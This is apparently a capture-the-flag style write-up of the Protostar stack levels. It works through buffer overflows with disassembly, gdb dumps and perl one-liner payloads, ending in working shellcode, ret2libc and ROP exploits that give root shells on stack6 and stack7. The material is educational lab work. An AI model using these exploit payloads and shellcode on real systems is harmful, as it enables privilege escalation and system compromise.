Exploit Exercises - Protostar - Stack levels

11 min read - 2337 words

Prequisites

Stack 0

For this scenario we need to overwrite the stack variable $modified. To get a better idea about the binary a look at the assembly helps.

0x080483f4 <main+0>:  push   %ebp
0x080483f5 <main+1>:  mov    %esp,%ebp
0x080483f7 <main+3>:  and    $0xfffffff0,%esp
0x080483fa <main+6>:  sub    $0x60,%esp
0x080483fd <main+9>:  movl   $0x0,0x5c(%esp)
0x08048405 <main+17>: lea    0x1c(%esp),%eax        ;load $buffer address into EAX
0x08048409 <main+21>: mov    %eax,(%esp)            ;set ESP
0x0804840c <main+24>: call   0x804830c <gets@plt>   ;vulnerable funtion
0x08048411 <main+29>: mov    0x5c(%esp),%eax        ;load $modified into EAX
0x08048415 <main+33>: test   %eax,%eax              ;Sets ZF
0x08048417 <main+35>: je     0x8048427 <main+51>    ;$modified was not modified
0x08048419 <main+37>: movl   $0x8048500,(%esp)
0x08048420 <main+44>: call   0x804832c <puts@plt>
0x08048425 <main+49>: jmp    0x8048433 <main+63>
0x08048427 <main+51>: movl   $0x8048529,(%esp)      ;target for main+35
0x0804842e <main+58>: call   0x804832c <puts@plt>
0x08048433 <main+63>: leave  
0x08048434 <main+64>: ret    

In order to overwrite the $modified variable the following command is sufficient to do the task.

user@protostar:/$/usr/bin/perl -e 'print("A"x65);' | /opt/protostar/bin/stack0

Finally, we examine the assembly closer. The $buffer variable is stored at 0x1c. The $modified is located at 0x5c. In order to modify $modified we need to write 0x40+1 bytes at main+24.

Stack 1

In this scenario we have to write a specific value on the stack. First, we take a look at the important changes in the assembly.

...
0x080484a7 <main+67>:   mov    0x5c(%esp),%eax         ;load $modified into EAX
0x080484ab <main+71>:   cmp    $0x61626364,%eax        ;compare against 0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
...

This time the test is against a static value. The offset for the stack variable is still the same. As the code is little endian, the desired vektor is simply “dcba”. The respective command to manipulate the execution path is as follows:

user@protostar:/$/opt/protostar/bin/stack1 `/usr/bin/perl -e 'print("A"x64 ."dcba");'`

Stack 2

This level requests use to set the GRENNIE environment variable. We extracted the relevant parts of the assembly.

...
0x0804849d <main+9>:  movl   $0x80485e0,(%esp)
0x080484a4 <main+16>: call   0x804837c <getenv@plt>  ;retrieves an ENV variable
0x080484a9 <main+21>: mov    %eax,0x5c(%esp)         ;store on stack
...
0x080484c8 <main+52>: movl   $0x0,0x58(%esp)         ;initialise $modified
...
0x080484d8 <main+68>: lea    0x18(%esp),%eax         ;load $buffer address into EAX
0x080484dc <main+72>: mov    %eax,(%esp)
0x080484df <main+75>: call   0x804839c <strcpy@plt>  ;vulnerable function
0x080484e4 <main+80>: mov    0x58(%esp),%eax         ;
0x080484e8 <main+84>: cmp    $0xd0a0d0a,%eax         ;compare against 0xd0a0d0a
0x080484ed <main+89>: jne    0x80484fd <main+105>
...

The binary makes use of the unsecure strcpy function. We can spot the offset for the $modified variable at main+52. Again, the $buffer variable ist 0x40 bytes which results in the following command to complete the level.

user@protostar:/$export GREENIE=`perl -e 'print("A"x64 . "\x0a\x0d\x0a\x0d");'` && /opt/protostar/bin/stack2

Stack 3

In the level we have to overwrite a function pointer. Let us first examine the relevant parts of the disassembly.

...
0x08048449 <main+17>: lea    0x1c(%esp),%eax       ;load address of $buffer
0x0804844d <main+21>: mov    %eax,(%esp)
0x08048450 <main+24>: call   0x8048330 <gets@plt>  ;vulnerable function

...
0x08048471 <main+57>: mov    0x5c(%esp),%eax       ;load $fp into EAX
0x08048475 <main+61>: call   %eax                  ;execute EAX

The functionality is again base on level 0. We have to write 0x40 bytes to gain control of the execution flow. The right address of win() can be identified via objdump: 0x8048424. We can simply adjust the command from level 1 to include the respective address.

user@protostar:/$perl -e 'print("A"x64 ."\x24\x84\x04\x08");' | /opt/protostar/bin/stack3

Stack 4

The next step after level 3 is to directly overwrite EIP. A look at the disassembly before starting.

0x08048408 <main+0>:  push   %ebp
0x08048409 <main+1>:  mov    %esp,%ebp
0x0804840b <main+3>:  and    $0xfffffff0,%esp
0x0804840e <main+6>:  sub    $0x50,%esp
0x08048411 <main+9>:  lea    0x10(%esp),%eax       ;
0x08048415 <main+13>: mov    %eax,(%esp)
0x08048418 <main+16>: call   0x804830c <gets@plt>  ;vulnerable function
0x0804841d <main+21>: leave  
0x0804841e <main+22>: ret    

Again, $buffer is 0x40 bytes of size. For this level we need to perform a jump to: 0x080483f4. In order to overwrite EIP we need to identify the number of bytes to write. To do so we have to take a look at the stack frame structure:

|                 | High memory addresses
|    Parameters   |
|  Return Address |
|   Base Pointer  | - EBP
|    buffer[64]   |
|                 | - ESP
|                 | Low  memory addresses

With this knowledge we can examine the stack at main+21.

(gdb) x/2x $ebp
0xbffff658: 0xbffff6d8  0xb7eadc76
(gdb) x/24x $esp
0xbffff600: 0xbffff610  0xb7ec6165  0xbffff618  0xb7eada75
0xbffff610: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff620: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff630: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff640: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff650: 0x08048400  0x00000000  0xbffff6d8  0xb7eadc76

The pictures shows that the value of EBP is located at ESP+92. This sums up to 76 bytes we need to write before we can control the return address. The respective command ist a follows:

user@protostar:/$perl -e 'print("A"x64 ."B"x4 ."C"x4 ."D"x4 ."\xf4\x83\x04\x08");' | /opt/protostar/bin/stack4

Stack 5

The goal now is to inject our own shellcode. We have got the following assembly:

0x080483c4 <main+0>:  push   %ebp
0x080483c5 <main+1>:  mov    %esp,%ebp
0x080483c7 <main+3>:  and    $0xfffffff0,%esp
0x080483ca <main+6>:  sub    $0x50,%esp
0x080483cd <main+9>:  lea    0x10(%esp),%eax
0x080483d1 <main+13>: mov    %eax,(%esp)
0x080483d4 <main+16>: call   0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave  
0x080483da <main+22>: ret  

The return address should be the start of $buffer at 0xbffff610. From the previous example we know that we have to write 76 bytes.

Starting program: /opt/protostar/bin/stack5 < /tmp/vec5_1

Breakpoint 1, main (argc=0, argv=0xbffff704) at stack5/stack5.c:11
11  stack5/stack5.c: No such file or directory.
  in stack5/stack5.c
(gdb) x/24x $esp
0xbffff600: 0xbffff610  0xb7ec6165  0xbffff618  0xb7eada75
0xbffff610: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xbffff620: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xbffff630: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xbffff640: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xbffff650: 0xcccccccc  0xcccccccc  0xcccccccc  0xbffff610

After that we can add a simple shell code. For demonstration purpose a simple “hello world” shellcode will do.

user@protostar:/$perl -e 'print("\xe9\x1e\x00\x00\x00" ."\xb8\x04\x00\x00\x00" ."\xbb\x01\x00\x00\x00" ."\x59" ."\xba\x0f\x00\x00\x00" ."\xcd\x80" ."\xb8\x01\x00\x00\x00" ."\xbb\x00\x00\x00\x00" ."\xcd\x80" ."\xe8\xdd\xff\xff\xff" ."\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21" ."\xCC"x(76-53) ."\x10\xf6\xff\xbf");' > /tmp/vec5

Debugging the shellcode in gdb works. Stack addresses change with gdb attached. So we have to start from a core dump. To enable core dumps on suid binaries we have to set the proper flag.

user@protostar:/$echo 2 > /proc/sys/fs/suid_dumpable

Now we can try to run the exploit code directly against the binary. The exploit fails but a core dump is created. With gdb we can now examine the stack and adjust the offsets.

user@protostar:/$gdb /opt/protostar/bin/stack5 --core /tmp/core.4.stack5.3688
GNU gdb (GDB) 7.0.1-debian
...
Core was generated by '/opt/protostar/bin/stack5'.
Program terminated with signal 4, Illegal instruction.
#0  0xbffff645 in ?? ()
(gdb) x/24x 0xbffff610
0xbffff610: 0xbffff620  0xb7ec6165  0xbffff628  0xb7eada75
0xbffff620: 0x00001ee9  0x0004b800  0x01bb0000  0x59000000
0xbffff630: 0x00000fba  0xb880cd00  0x00000001  0x000000bb
0xbffff640: 0xe880cd00  0xffffffdd  0x6c6c6548  0x57202c6f
0xbffff650: 0x646c726f  0xcccccc21  0xcccccccc  0xcccccccc
0xbffff660: 0xcccccccc  0xcccccccc  0xcccccccc  0xbffff640

The correct offset should be 0xbffff620. Let’s try again with the following command.

user@protostar:/$perl -e 'print("\xe9\x1e\x00\x00\x00" ."\xb8\x04\x00\x00\x00" ."\xbb\x01\x00\x00\x00" ."\x59" ."\xba\x0f\x00\x00\x00" ."\xcd\x80" ."\xb8\x01\x00\x00\x00" ."\xbb\x00\x00\x00\x00" ."\xcd\x80" ."\xe8\xdd\xff\xff\xff" ."\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21" ."\xCC"x(76-53) ."\x20\xf6\xff\xbf");' | /opt/protostar/bin/stack5
Hello, World!�

Stack 6

At first, we have to identify the location of the overflow.

0x080484a4 <getpath+32>:  lea    -0x4c(%ebp),%eax
0x080484a7 <getpath+35>:  mov    %eax,(%esp)
0x080484aa <getpath+38>:  call   0x8048380 <gets@plt>

The code loads the address of EBP-0x4c into EAX. So to overwrite the return address we have to write 0x50 bytes. Let’s test the alignment.

(gdb) x/40x $ebp-100
0xbffff5e4: 0x00000000  0xb7fe1b28  0x00000001  0x00000000
0xbffff5f4: 0x00000001  0xb7fff8f8  0xcccccccc  0xcccccccc
0xbffff604: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xbffff614: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xbffff624: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xbffff634: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xbffff644: 0xcccccccc  0xcccccccc  0x08048500  0x08048520
0xbffff654: 0x00000000  0xbffff6d8  0xb7eadc76  0x00000001

It worked! The next step is to set EIP.

user@protostar:/$perl -e 'print("\xCC"x80 ."\xfc\xf5\xff\xbf");' | /opt/protostar/bin/stack6
input path please: bzzzt (0xbffff604)

This did not work. Lets examine what’s going on.

0x080484af <getpath+43>:  mov    0x4(%ebp),%eax     ; load return address
0x080484b2 <getpath+46>:  mov    %eax,-0xc(%ebp)
0x080484b5 <getpath+49>:  mov    -0xc(%ebp),%eax
0x080484b8 <getpath+52>:  and    $0xbf000000,%eax   ; apply mask
0x080484bd <getpath+57>:  cmp    $0xbf000000,%eax   ; check address
0x080484c2 <getpath+62>:  jne    0x80484e4

The binary checks whether the return address starts with \xbf. Our shellcode is placed in exactly this part of memory. This means that we cannot simply return to our shellcode Instead we have to find another way to exploit the overflow.

Duplicate Payload

The first option is when our payload is also loaded into another memory location. In order to look for a location the need to debug the binary. With gdb we can even search the memory for a pattern.

(gdb) info files
Symbols from "/opt/protostar/bin/stack6".
Local core dump file:
  '/tmp/core.11.stack6.3845', file type elf32-i386.
  0x08048000 - 0x08049000 is load1
  0x08049000 - 0x0804a000 is load2
  0xb7e96000 - 0xb7e97000 is load3
  0xb7e97000 - 0xb7e98000 is load4a
  0xb7e98000 - 0xb7e98000 is load4b
  0xb7fd5000 - 0xb7fd5000 is load5
  0xb7fd6000 - 0xb7fd8000 is load6
  0xb7fd8000 - 0xb7fd9000 is load7
  0xb7fd9000 - 0xb7fdc000 is load8
  0xb7fde000 - 0xb7fe2000 is load9
...
(gdb) find /w1 0xb7fde000, 0xb7fde200, 0xcccccccc
0xb7fde000
1 pattern found.
(gdb) x/40x 0xb7fde000
0xb7fde000: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xb7fde010: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xb7fde020: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xb7fde030: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xb7fde040: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0xb7fde050: 0xbffff5fc  0x00000000  0x00000000  0x00000000
0xb7fde060: 0x00000000  0x00000000  0x00000000  0x00000000

We are lucky, our data is also stored outside of the filtered memory space. To exploit the overflow we cansimply stick to the Hello World shellcode. Subsequently, we only have to update the return address in order to successfully return to our shellcode.

user@protostar:/$perl -e 'print("\x90"x4 ."\xe9\x1e\x00\x00\x00" ."\xb8\x04\x00\x00\x00" ."\xbb\x01\x00\x00\x00" ."\x59" ."\xba\x0f\x00\x00\x00" ."\xcd\x80" ."\xb8\x01\x00\x00\x00" ."\xbb\x00\x00\x00\x00" ."\xcd\x80" ."\xe8\xdd\xff\xff\xff" ."\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21" ."\xCC"x(80-53-4) ."\x04\xe0\xfd\xb7");' | /opt/protostar/bin/stack6
input path please: got path �����
Hello, World!�

ret2Libc

Another option we have got is utilizing library functionality loaded during runtime. To do this we have to understand the respective functions and their arguments. For this example we are going to stick with the system() function call to execute our code. This will provide us with a root shell. Another option would be the use of execl() with the respective arguments. Let’s quickly take a look at the memory layout before exploitation.

 ------------ ----------- -----------
| buffer[64] | saved EBP | saved EIP |
 ------------ ----------- -----------
 and after the overflow
 ------------ ----------- ----------- ------------ ------------
|       buffer[80]       | &system() |   &exit()  | &shellcode |
 ------------ ----------- ----------- ------------ ------------

In this example we will utilize system() and exit(). The corresponding addresses can be retrieved via gdb.

(gdb) print system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0xb7ec60c0 <GI_exit>

Remember, we are going to execute a payload via system(). Therefore, the environment variable will contain the path to the shellcode. The shellcode in this example is simply a binary. The absolute path to the respective binary will be stored in a environment variable. We then have to calculate the address of the variable during runtime. To do this, just grab an appropriate script online that helps you doing so. This adress is placed on the stack to act as an argument for system().

user@protostar:/$ export CODE="/home/user/13357"
user@protostar:/$ /home/user/getenvaddr CODE /opt/protostar/bin/stack6
CODE will be at 0xbfffff8d

Now we have all the essential pointers and only need to prepare the shellcode. So this time we want to gain a root shell with the exploit. Keep in mind that bash will drop all privileges. Therefore we are going to utilize a shellcode from exploit-db 13367.

user@protostar:/opt/protostar/bin$ perl -e 'print("\xCC"x(80) ."\xb0\xff\xec\xb7" ."\xc0\x60\xec\xb7" ."\x8d\xff\xff\xbf");' | /opt/protostar/bin/stack6
input path please: got path �����
# whoami
root

ROP

One more option we do have is utilizing return-oriented programming. This is especially useful when we encounter NX technology. Also, ASLR does not affect the program code itself. This means, ASLR can also be defeated. For this scenario, we simply take the next RET function at hand.

(gdb) disassemble getpath
...
0x080484f9 <getpath+117>: ret

So we have to set the return address to 0x080484f9. The return address is set to point at our buffer at 0xbffff5ac.

Usually ROP is utilized to circumvent DEP protection. Again, we place our Hello world payload in the buffer. The exploit can be triggered via the following command.

user@protostar:/$ perl -e 'print("\x90"x4 ."\xe9\x1e\x00\x00\x00" ."\xb8\x04\x00\x00\x00" ."\xbb\x01\x00\x00\x00" ."\x59" ."\xba\x0f\x00\x00\x00" ."\xcd\x80" ."\xb8\x01\x00\x00\x00" ."\xbb\x00\x00\x00\x00" ."\xcd\x80" ."\xe8\xdd\xff\xff\xff" ."\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21" ."\xCC"x(80-53-4) ."\xf9\x84\x04\x08" ."\xdc\xf5\xff\xbf");' | /opt/protostar/bin/stack6
input path please: got path �����
Hello, World!�

Stack 7

This example is based binary from the previous exercise. Although, this time the return address is again restricted. So, we need to find another way to execute our payload. Let’s take a look at the source code.

...
0x080484ea <getpath+38>:	call   0x80483a4 <gets@plt>
0x080484ef <getpath+43>:	mov    0x4(%ebp),%eax
0x080484f2 <getpath+46>:	mov    %eax,-0xc(%ebp)
0x080484f5 <getpath+49>:	mov    -0xc(%ebp),%eax         ; copy return address into EAX
0x080484f8 <getpath+52>:	and    $0xb0000000,%eax        ; zero out all non important bits
0x080484fd <getpath+57>:	cmp    $0xb0000000,%eax        ; check first byte of address
0x08048502 <getpath+62>:	jne    0x8048524 <getpath+96>
...
0x0804853e <getpath+122>:	call   0x80483f4 <strdup@plt>
0x08048543 <getpath+127>: leave  
0x08048544 <getpath+128>: ret    

strdup

Fortunately for us, strdup() is called just before returning. The function copies the target buffer to the heap. The return value, the address of the target buffer, is stored in EAX. So we simply need to overwrite the return address with a call to EAX.

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x0804A008  EBX: 0xB7FD7FF4  ECX: 0x00000000  EDX: 0x00000001  o d I t s z a p c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xCCCCCCCC  ESP: 0xBFFFF630  EIP: 0x41414141
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B

With objdump we can find a suiteable location with the respective call to EAX.

user@protostar:/$ objdump -d stack7 | grep -iP "call.*eax"
 8048478:	ff 14 85 5c 96 04 08 	call   *0x804965c(,%eax,4)
 80484bf:	ff d0                	call   *%eax
 80485eb:	ff d0                	call   *%eax

So we only need to apply a suitable shellcode to exploit the flaw. The respective command is as follows.

user@protostar:/$ perl -e 'print("\x90"x4 ."\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" ."\xCC"x(80-55-4) ."\xeb\x85\x04\x08" );' | /opt/protostar/bin/stack7
input path please: got path ����1�1۰̀Sh/ttyh/dev��'�̀1�Ph//shh/bin�S�ᙰ
                                                                    ̀�
# whoami
root

ROP

With the knowledge from the previous example we can also try return oriented programming. We need to find the address of a ret call.

(gdb) disassemble getpath
...
0x08048544 <getpath+128>:       ret    

The parameter for the function call is once again the beginning of the buffer. In particular this is 0xbfffff5dc. The final command to exploit the vulnerability is as follows.

user@protostar:/$ perl -e 'print("\x90"x4 ."\xe9\x1e\x00\x00\x00" ."\xb8\x04\x00\x00\x00" ."\xbb\x01\x00\x00\x00" ."\x59" ."\xba\x0f\x00\x00\x00" ."\xcd\x80" ."\xb8\x01\x00\x00\x00" ."\xbb\x00\x00\x00\x00" ."\xcd\x80" ."\xe8\xdd\xff\xff\xff" ."\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21" ."\xCC"x(80-53-4) ."\x44\x85\x04\x08" ."\xdc\xf5\xff\xbf");' | /opt/protostar/bin/stack7
input path please: got path �����
Hello, World!�

Exploit Exercises

Return-oriented Programming

Other